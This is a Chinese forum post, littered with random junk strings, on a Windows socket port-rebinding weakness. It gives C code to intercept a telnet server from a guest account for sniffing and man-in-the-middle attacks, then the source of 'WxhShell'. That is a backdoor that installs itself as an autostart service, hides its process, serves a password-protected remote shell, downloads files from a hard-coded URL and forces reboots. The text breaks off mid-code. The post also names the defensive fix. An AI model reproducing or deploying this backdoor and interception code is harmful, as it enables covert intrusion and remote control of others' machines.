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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ohs`[U=%~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q}cti /  
(BngwLVDK  
  saddr.sin_family = AF_INET; {{B'65Wu  
T]/5aA4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6=Wevb5YJ  
$xK\$kw\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [#YzU^^Ib  
"?kDR1=7A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f96`n+>x i  
|KZX_4   
  这意味着什么?意味着可以进行如下的攻击: Qv g_|~n  
?JTTl;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `7'^y  
&['L7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A,xPA  
|i~-,:/-Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q/Vl>t  
R]o0V*n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $|7=$~y  
KJv%t_4'F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m 9\"B3sr  
cr|]\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f$9|qfW'$  
*B \ @L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3,`M\#z%K  
=v 'Aub  
  #include +'+ Nr<  
  #include _n!>*A!  
  #include )v*k\:Hw  
  #include    oO`a{n-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =HJ7tele  
  int main() =,C]d~  
  { q@~{ g[   
  WORD wVersionRequested; xB[W8gQ6fa  
  DWORD ret; iq?T&44&  
  WSADATA wsaData;  (:o:_U  
  BOOL val; .{ZJywE<  
  SOCKADDR_IN saddr; p|NY.N  
  SOCKADDR_IN scaddr; (C1~>7L  
  int err; {\NBNg(Vo  
  SOCKET s; ,grx'to(X  
  SOCKET sc; tN_=&|{WE4  
  int caddsize; sDR Av%w  
  HANDLE mt; ]~VuY:abH  
  DWORD tid;   fI2 y(p{?  
  wVersionRequested = MAKEWORD( 2, 2 ); !`4ie  
  err = WSAStartup( wVersionRequested, &wsaData ); Fw{68ggk  
  if ( err != 0 ) { aMxj{*v7  
  printf("error!WSAStartup failed!\n"); u 8<[Q]5  
  return -1; ,fTC}>s4  
  } :Ny[?jt c  
  saddr.sin_family = AF_INET; ;DhAw1  
   N` $F>E,T%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C[hNngb7R  
jUl_ToX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5''k|B>  
  saddr.sin_port = htons(23); cH$( *k9%M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dtTfV.y4w  
  {  LAM{ ,?~  
  printf("error!socket failed!\n"); `B&=ya|bl  
  return -1; Wd+G)Mu_=  
  } l:bbc!3  
  val = TRUE; $aB`A$'hK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I Z*)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3-6MGL9  
  { DfU= i'R  
  printf("error!setsockopt failed!\n"); I$x<B7U  
  return -1; ;K|K]c  
  } ;($xAAR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QVkji7)ZT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #G?#ot2o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5Ma."?rW   
4p+Veo6B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1*$6u5.=F  
  { \,n X/f  
  ret=GetLastError(); ` ~^My~f  
  printf("error!bind failed!\n"); .iP>?9$f"  
  return -1; S!x;w7j  
  } %K8YZc(&  
  listen(s,2); [{#T N  
  while(1) AZ^>osr  
  { `F1Yfm jZT  
  caddsize = sizeof(scaddr);  f<$*,P  
  //接受连接请求 B0p;Zh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,3eN&  
  if(sc!=INVALID_SOCKET) " W{rS4L  
  { CS*lk!C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F Pjc;zNA  
  if(mt==NULL) H^`J(J+  
  { GUM-|[~  
  printf("Thread Creat Failed!\n"); \*BRFUAc  
  break; *SI,K)BP  
  } ;{&4jcV*  
  } L0H^S)g  
  CloseHandle(mt); #lSGH 5Fp?  
  } }?Pa(0=U  
  closesocket(s); "}%j'  
  WSACleanup(); /NR*<,c%  
  return 0; p[%~d$JUq  
  }   a #s Nd  
  DWORD WINAPI ClientThread(LPVOID lpParam) V4CA*FEA  
  {  xiQc\k$  
  SOCKET ss = (SOCKET)lpParam; vl}}h%BC  
  SOCKET sc; U8HuqFC  
  unsigned char buf[4096]; tQyQ+1  
  SOCKADDR_IN saddr; 4AvIU!0w  
  long num; k\/es1jOEh  
  DWORD val; /:BC<]s  
  DWORD ret; FEopNDy@y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SX =^C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P@n rcgM.  
  saddr.sin_family = AF_INET; N!v>2"x8q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2v4&'C  
  saddr.sin_port = htons(23); \>w 2D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RLLL=?W@  
  { JJM!pD\h  
  printf("error!socket failed!\n"); @Xh8kvc81  
  return -1; EL2z&  
  } (5y*Btd=  
  val = 100; B%))HLo'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {\VsM#K6  
  { h]|2b0  
  ret = GetLastError(); {S%;By&[  
  return -1; u V'C_H  
  } j *N^.2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X C390t  
  { -W})<{End  
  ret = GetLastError(); >%_i#|dE>  
  return -1; f_hG2Sk  
  } eB,@oo%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t)(>E'X x  
  { Ur""&@  
  printf("error!socket connect failed!\n"); +K;%sAZy  
  closesocket(sc); `sRys oW  
  closesocket(ss); #\z"k<{*  
  return -1; " 68=dC  
  } REk^pZ3B  
  while(1) ^*~4[?]S  
  { q'biTn]2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sP8_Y,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g J$m'kC;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x_4{MD^%  
  num = recv(ss,buf,4096,0); >Y:veEa6v6  
  if(num>0) :?#wWF.  
  send(sc,buf,num,0); 3);W gh6  
  else if(num==0) ,/Y$%.Rp  
  break; $')Uie<!8  
  num = recv(sc,buf,4096,0); +gb"} cN  
  if(num>0) T=pKen/  
  send(ss,buf,num,0); M3)Id?|]6  
  else if(num==0) W}\<}dK  
  break; MPsm)jqX  
  } "fd'~e$S#  
  closesocket(ss); <bBgevL+_K  
  closesocket(sc); \3j4=K'nE  
  return 0 ; _#o75*42tT  
  } k,[[ CZ0j  
HR?a93  
9z?B@;lMc  
========================================================== '[[*(4 a3  
gAy"W$F  
下边附上一个代码,,WXhSHELL 28xLaob  
3 W?H^1t  
========================================================== V"sm+0J  
0 9*?'^s4  
#include "stdafx.h" (_~Dyvo  
'jU;.vZex  
#include <stdio.h> K%>3ev=y.s  
#include <string.h> T7 XbbU  
#include <windows.h> Cqw`K P  
#include <winsock2.h> uy=E92n3  
#include <winsvc.h> ' C1yqkIa`  
#include <urlmon.h> d7L|yeb"  
`[.4SIah  
#pragma comment (lib, "Ws2_32.lib") >zcp(M98  
#pragma comment (lib, "urlmon.lib") yvKKE  
%0Ke4c  
#define MAX_USER   100 // 最大客户端连接数 1VO>Bh.Wm  
#define BUF_SOCK   200 // sock buffer WLN;LT  
#define KEY_BUFF   255 // 输入 buffer .?-]+ -J?`  
\EeK<)4:  
#define REBOOT     0   // 重启 >]l7AZ:,  
#define SHUTDOWN   1   // 关机 EcmyY,w  
IgtTYxI  
#define DEF_PORT   5000 // 监听端口 q8f nUK?i  
YH$whJ`W0  
#define REG_LEN     16   // 注册表键长度 ~-2q3U Py  
#define SVC_LEN     80   // NT服务名长度 WEugm603  
e!O:z   
// 从dll定义API [5jXYqD=vj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zRF +D+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ao)8ie  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tY $4k26  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^>!~%Vv7!  
nM&UdKf3  
// wxhshell配置信息 bjGQ04da  
struct WSCFG { 1 gx(L*y,  
  int ws_port;         // 监听端口 nL-kBW Ed>  
  char ws_passstr[REG_LEN]; // 口令 -&_;x&k /  
  int ws_autoins;       // 安装标记, 1=yes 0=no +^@6{1  
  char ws_regname[REG_LEN]; // 注册表键名 _'DZoOH|VE  
  char ws_svcname[REG_LEN]; // 服务名 [^E{Yz=8,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q|7$@H^*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]k.'~ Syz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QDJ:LJz\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w `r)B`!g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1:d,8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :s'hXo  
H;rLU9b  
}; 5X"WgR;  
23WlUM  
// default Wxhshell configuration i$W=5B>SO  
struct WSCFG wscfg={DEF_PORT, K_E- Hgg_  
    "xuhuanlingzhe", 7[u$!.4{*  
    1, Stxrgmu  
    "Wxhshell", H?<c eK'e  
    "Wxhshell", B(|dT66K  
            "WxhShell Service", h O}nc$S  
    "Wrsky Windows CmdShell Service", :*{\oqFn~$  
    "Please Input Your Password: ", `d i/nv)  
  1, tM;S )S(=  
  "http://www.wrsky.com/wxhshell.exe", sOLR*=F{  
  "Wxhshell.exe" -$m?ShDd  
    }; 4 Gm(P~N  
j>t*k!db  
// 消息定义模块 bB|P`l L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3teanU`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bkfk9P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5.e. BT  
char *msg_ws_ext="\n\rExit."; jIs2R3B  
char *msg_ws_end="\n\rQuit."; xg2 &  
char *msg_ws_boot="\n\rReboot..."; y()Si\9v  
char *msg_ws_poff="\n\rShutdown..."; gELb(Y\ak  
char *msg_ws_down="\n\rSave to "; #yVMC;J?W  
+O,h<* y  
char *msg_ws_err="\n\rErr!"; ,dIo\Lm  
char *msg_ws_ok="\n\rOK!"; _z3YB  
d~b#dcv$"  
char ExeFile[MAX_PATH]; CAD:ifV  
int nUser = 0; J6Q}a7I#  
HANDLE handles[MAX_USER]; L/R ES  
int OsIsNt; 8fwM)DKS  
a \PvRW*I  
SERVICE_STATUS       serviceStatus; ^."HD(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ut xe  
{? dW-  
// 函数声明 GxIw4m9  
int Install(void); uJ!yM;{+  
int Uninstall(void); )d|hIW]7(  
int DownloadFile(char *sURL, SOCKET wsh); S(f V ,;Z  
int Boot(int flag); ?)~j>1"S  
void HideProc(void); 8/y~3~A{D  
int GetOsVer(void); D< 4!7*9%  
int Wxhshell(SOCKET wsl); HjFY >(e  
void TalkWithClient(void *cs); CF`fn6  
int CmdShell(SOCKET sock); zjrr*iw  
int StartFromService(void); mxRe2<W  
int StartWxhshell(LPSTR lpCmdLine); S-Y(Vn4  
`(9B(&t^,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |e@Bi#M[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6v9{ $:  
$Di2B A4Di  
// 数据结构和表定义 *ppb 4R;CW  
SERVICE_TABLE_ENTRY DispatchTable[] = j;k(AM<  
{ 92k}ON  
{wscfg.ws_svcname, NTServiceMain}, -~HlME *~f  
{NULL, NULL} [[[QBplJ  
}; c[Mz#BWG  
(Rc 0l;  
// 自我安装 U "qO&;m  
int Install(void) ] PnE%  
{ :-f"+v  
  char svExeFile[MAX_PATH]; '7<@(HO  
  HKEY key; ,Wp0,>!  
  strcpy(svExeFile,ExeFile); !\NKu1ta  
M]>JI'8  
// 如果是win9x系统,修改注册表设为自启动 y{eZrX|  
if(!OsIsNt) { sKX%<n$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pP'-}%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z^f-MgWG  
  RegCloseKey(key); CDcs~PR@B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h,@x5q>g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wb4%=2Qn  
  RegCloseKey(key); rr[9sk`^H  
  return 0; Xm`K@hJ@  
    } X |f'e@  
  } DOXRU5uP3  
} ?nFT51 t/4  
else { /Ki :6  
~P5!VNJ;r  
// 如果是NT以上系统,安装为系统服务 |7zm!^t$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;e0>.7m  
if (schSCManager!=0) fxLhVJ"b  
{ ^3`98y.Q  
  SC_HANDLE schService = CreateService ZUyM:$  
  ( =*'X  
  schSCManager, tS2lex%  
  wscfg.ws_svcname, [,5clR=F  
  wscfg.ws_svcdisp, -X4`,0y%{O  
  SERVICE_ALL_ACCESS, GX_Lxc_<f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {\t:{.F A  
  SERVICE_AUTO_START, q9Y0Lk  
  SERVICE_ERROR_NORMAL, U hCd,  
  svExeFile, E"Xi  
  NULL, xiRTp:>  
  NULL, 6x@-<{L  
  NULL, 1&YP}sg)  
  NULL, cf@#a@7m9  
  NULL qRB7I:m-Wi  
  ); vfhip"1  
  if (schService!=0) HIh oYSwB  
  { yB. 6U56  
  CloseServiceHandle(schService); ecf7g)+C  
  CloseServiceHandle(schSCManager); 1'_OM h*;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 33Mr9Doon  
  strcat(svExeFile,wscfg.ws_svcname); 4 qW)R{%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n?,fF(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Iz{AA-  
  RegCloseKey(key); ((dG<  
  return 0; .^kTb2$X  
    } l:@.D|(o3  
  } wU#Q>ut'%  
  CloseServiceHandle(schSCManager); <{-DYRiN  
} 6!Isz1.re  
} N7#GK]n%/}  
g dC=SFb b  
return 1; )QZ?Bf  
} 6ldDt?iSg  
fQx 4/4j  
// 自我卸载 SwP h-6  
int Uninstall(void) b'-gy0  
{ 5 ?vIkf  
  HKEY key; j#p3c  
G#% =R`k/  
if(!OsIsNt) { 56':U29.]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nq~bO_-I  
  RegDeleteValue(key,wscfg.ws_regname); kD; BwU[  
  RegCloseKey(key); Bv=Z*"Fv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jN {ED_  
  RegDeleteValue(key,wscfg.ws_regname); P7Y[?='v  
  RegCloseKey(key); 9Pb0Olh  
  return 0; cA Lu  
  } xjX5PQu  
} Aqm0|GlJ  
} ]CL70+[^9  
else { LQQhn{[D  
iCEX|Tj;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |F=^Cu,  
if (schSCManager!=0) "M*\,IH  
{ uIPR*9~6o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >3Y&jsh<  
  if (schService!=0) n_+Iw,a'm  
  { 0+H"$2/  
  if(DeleteService(schService)!=0) { O0I/^  
  CloseServiceHandle(schService); `150$*K&B  
  CloseServiceHandle(schSCManager); PRUGUHY  
  return 0; N!va12  
  } %q!nTG U~  
  CloseServiceHandle(schService); /;>EyWW  
  } bVrvb`0  
  CloseServiceHandle(schSCManager); Ar$LA"vu4  
} p*'?(o:=  
} C^~iz in  
K4tX4U[Z  
return 1; U9q*zP_jV  
} c*W$wr  
5u8Sxfm",  
// 从指定url下载文件 AuCVpDH  
int DownloadFile(char *sURL, SOCKET wsh) aqN.5'2\  
{ 5Tu.2.)N  
  HRESULT hr; :`|,a (  
char seps[]= "/";  5-J-Tn  
char *token; {J]|mxo  
char *file; 8 , =$>@u  
char myURL[MAX_PATH]; (*1 A0+S90  
char myFILE[MAX_PATH]; WZr~Pb9  
K XGs'D  
strcpy(myURL,sURL); (o|E@d  
  token=strtok(myURL,seps); h Na<LZ  
  while(token!=NULL) 8?$2;uGL  
  { v3NaX.  
    file=token; MoA{ /{  
  token=strtok(NULL,seps); l1??b  
  } : )z_q!$j  
:s5g6TR  
GetCurrentDirectory(MAX_PATH,myFILE); O<hHo]jLF  
strcat(myFILE, "\\"); F~Li.qF  
strcat(myFILE, file); We ->d |=  
  send(wsh,myFILE,strlen(myFILE),0); oK>,MdB  
send(wsh,"...",3,0); t&xx-4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C/ bttd  
  if(hr==S_OK) P8jK yo  
return 0; fin15k  
else w9FI*30  
return 1; 3%} Ma,  
cm]]9z_<  
} jmFN*VIL  
,jn?s^X6Dj  
// 系统电源模块 L`#+ZLo  
int Boot(int flag) kpdFb7>|  
{ ^ WNJQg'  
  HANDLE hToken; A=$oYBB  
  TOKEN_PRIVILEGES tkp; W)#`4a^xj7  
5c"kLq6r  
  if(OsIsNt) { E;qwoTmul  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u!i5Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'GFzI:Xr  
    tkp.PrivilegeCount = 1; HZ}*o%O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CytpL`&^]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !r|X6`g  
if(flag==REBOOT) { ^6+x0[13  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3\{Sf /#  
  return 0; _a&|,ajy >  
} AVp [gr  
else { a5-\=0L~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L9T u>4  
  return 0; Ps7%:|K]  
} $ZS9CkN  
  } z7q2+;L  
  else { ju#6 3  
if(flag==REBOOT) { e@OA>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .N=hA  
  return 0; c #kV+n<  
} i.sq^]j  
else { guv@t&;t0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0R& U18)y  
  return 0; Z=0W@_s  
} =FmU]DV  
} x/=j$oA  
j;)6uia*A  
return 1; qedGBl&  
} MbfzGYA2~  
eEQ[^i  
// win9x进程隐藏模块 "|%9xGX|D  
void HideProc(void) WM"^#=+$  
{ I*}#nY0+  
Ct)MvZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0Mg8{  
  if ( hKernel != NULL ) F :S,{&jB  
  { W[Bu&?h$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7g)3\C   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @@wx~|%  
    FreeLibrary(hKernel); <^U(ya  
  } %7msAvbk  
>|)0Amt  
return; ImY.HB^&  
} >x4[7YAU{  
d8HB2c5y0i  
// 获取操作系统版本 }&DB5M  
int GetOsVer(void) =[JN'|Q+  
{ sw|:Z(`  
  OSVERSIONINFO winfo; hZ<btN .y5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cA? x(  
  GetVersionEx(&winfo); cO,V8#H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \'Ta8  
  return 1; zU~..;C  
  else <im<(=m9  
  return 0; vLuQe0l{  
} 5vf t}f  
@@83PJFid  
// 客户端句柄模块 _wNPA1q0J  
int Wxhshell(SOCKET wsl) b`W*vduf  
{ |*KS<iHr%  
  SOCKET wsh; "<x~{BN?  
  struct sockaddr_in client; P/Kit?kngS  
  DWORD myID; hFMst%:y$  
V:BX"$ J1  
  while(nUser<MAX_USER) nud=uJ"(  
{ iIaT1i4t.  
  int nSize=sizeof(client); 9T2A)a]0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zpqGh  
  if(wsh==INVALID_SOCKET) return 1; )7GLS\uf<%  
WEtA4zCO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @b\ S.  
if(handles[nUser]==0) pYl{:uIPN8  
  closesocket(wsh); 1?|6odc  
else HhmVV"g  
  nUser++; 9K':Fn2,  
  } lt6;*z[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i1I>RK  
-'[(Uzj  
  return 0; Ia`JIc^e  
} <m,yFk  
S tnv>  
// 关闭 socket p*`SGX  
void CloseIt(SOCKET wsh) #y=ZP:{:t  
{ %n05 Jitl  
closesocket(wsh); nW|'l^&  
nUser--; | }K  
ExitThread(0); E?Zb~xk  
} K,f* SXM  
\G$QNUU  
// 客户端请求句柄 @[MO,J&h  
void TalkWithClient(void *cs) (9mbF%b  
{ {I0w`xe  
ePp[m zg6  
  SOCKET wsh=(SOCKET)cs; SU%mmw ES3  
  char pwd[SVC_LEN]; #V.ZdLo(  
  char cmd[KEY_BUFF]; PXw| L  
char chr[1]; +I|Rk&  
int i,j; dqqnCXYuW  
 vv+TKO  
  while (nUser < MAX_USER) { F:M>z=  
6xH;: B)d  
if(wscfg.ws_passstr) { X=v~^8M7%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /8xH$n&xoC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fL!V$]HNt  
  //ZeroMemory(pwd,KEY_BUFF); ?gLR<d_  
      i=0; 1ZT^)/G  
  while(i<SVC_LEN) { Wrmgu}q  
3A-*vaySV  
  // 设置超时 "\}b!gl$8  
  fd_set FdRead; pw@`}cM=  
  struct timeval TimeOut; ]\A1mw-T  
  FD_ZERO(&FdRead); w#*/y?"D  
  FD_SET(wsh,&FdRead); m8'@UzB  
  TimeOut.tv_sec=8; bb|}'  
  TimeOut.tv_usec=0; \UQ9MX _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;\N79)Gk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /"=29sWB  
j!YNg*H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O!;H}{[dg  
  pwd=chr[0]; pe|X@o  
  if(chr[0]==0xd || chr[0]==0xa) { 'gCJ[ce  
  pwd=0; gs?8Wzh90*  
  break; :'Zx{F`  
  } 3 m6$YWO  
  i++; pvlDjj}  
    } tcZa~3.  
& =G)NeT_  
  // 如果是非法用户,关闭 socket H#OYw#L"u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %/51o6a  
} F8;mYuA  
jz*0`9&_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (~h7rAEc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k@S)j<  
)X/*($SuA  
while(1) { vX ?aB!nkw  
_=pWG^a  
  ZeroMemory(cmd,KEY_BUFF);  KyTuF   
iHPUmTus--  
      // 自动支持客户端 telnet标准   Z a! gbt  
  j=0; `%e|$pK  
  while(j<KEY_BUFF) { ;AKwx|I$g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hb+X}7c$  
  cmd[j]=chr[0]; >Iuzk1'S  
  if(chr[0]==0xa || chr[0]==0xd) { {@3z\wMK$  
  cmd[j]=0; vd`O aM}#U  
  break; PSPTL3_~  
  } @Tm`d ?^  
  j++; }3Qc 24`  
    } @K\o4\  
sm0fAL  
  // 下载文件 E>E*ZZuhj  
  if(strstr(cmd,"http://")) { P$g^vS+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (~JwLe@a  
  if(DownloadFile(cmd,wsh)) ;`DD}j`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xh?4mKgu  
  else P$_&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K4:  $=  
  } P1MvtI4gm  
  else { I7~|~<  
vB.l0!c\e_  
    switch(cmd[0]) { %)?`{O~ h  
  @Gt`Ds9=  
  // 帮助 V@[rf<,  
  case '?': { m^<p8KZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @o6R[5(  
    break; {?Od{d9  
  } b]T@gJ4H=  
  // 安装 YScvyh?E  
  case 'i': { >p0KFU  
    if(Install()) t8P PE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _g~2R#2Q  
    else kO1}?dWpa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A{N\)  
    break; 8#w)X/  
    } 7b,(\Fm  
  // 卸载 ZIDbqQu  
  case 'r': { Ird|C[la  
    if(Uninstall()) 2s\BY%XY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d1c0l{JV3  
    else :S -";.:"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); py @( <  
    break; l(!/Q|Q|  
    } E"6X|I n  
  // 显示 wxhshell 所在路径 :Wc_Utt  
  case 'p': { Be2lMC  
    char svExeFile[MAX_PATH]; p $Hi[upy  
    strcpy(svExeFile,"\n\r");  lq>AGw  
      strcat(svExeFile,ExeFile); Y1)!lTG  
        send(wsh,svExeFile,strlen(svExeFile),0); nls   
    break; -_em%o3XC  
    } dEp7{jY1O  
  // 重启 2%]Z Kd  
  case 'b': { #$E)b:xj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jo9gCP.  
    if(Boot(REBOOT)) lyv4fP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >P=Q #;v  
    else { rzUlO5?R=  
    closesocket(wsh); P6\6?am  
    ExitThread(0); 3TS_-l  
    } XKS8K4"  
    break; 2' ] KTHm  
    } <CZgQ\Mt  
  // 关机 |gx ~ gG<  
  case 'd': { u5+|Su  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *2e!M^K<  
    if(Boot(SHUTDOWN)) 4CrLkr  
